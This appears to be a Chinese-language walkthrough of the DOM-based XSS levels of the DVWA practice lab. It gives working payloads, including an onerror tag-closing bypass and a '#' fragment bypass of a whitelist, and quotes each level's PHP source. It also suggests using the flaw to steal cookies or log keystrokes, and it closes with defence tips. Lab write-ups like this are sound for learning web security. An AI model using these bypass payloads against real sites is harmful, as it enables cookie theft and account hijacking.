0x01 简介
DOM型XSS是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
0x02 DOM型XSS-Low
可以看到将url中的值改为1,页面也随之进行了变化,这很有可能存在xss漏洞。
image.png
构造语句
<script>alert('xss')</script>
image.png
确实是存在xss漏洞,这里是可以利用dom函数来获取cookie或者记录键盘操作等。建议搞个xss利用平台,美滋滋。
看下源码:
<?php
# No protections, anything goes
?>
emmm,不看也罢。
0x03 DOM型XSS-Medium
老规矩<script>alert('xss')</script>
先来一发,发现页面没有任何显示,而且语句也变回了默认的English。
试了下123,页面会正常显示123;试下<123>也正常,那问题就出在script上面了,只要不过滤<>,一切都好说。
开搞,利用onerror或者其他HTML事件函数来重新构造xss语句。
"></option></select><img src=a onerror="javascript:alert(1);"/>
这里要特别注意闭合问题。
image.png
成功,看下源代码。
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
对<script做了检测
0x04 DOM型XSS-High
试了下,medium关卡的语句在这里已经没用了,应该是有了更严格的过滤机制。试了试<>也给过滤了。
那么考虑从编码上下手,也失败了
看下源代码先:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
emmm,有些严格的呀。
只有加个#让xss语句在本地执行了,?default=English#<script>alert(1)</script>
0x05 防御方法
- 对输入(和URL参数)进行过滤
- 对输出进行编码
- 白名单和黑名单结合过滤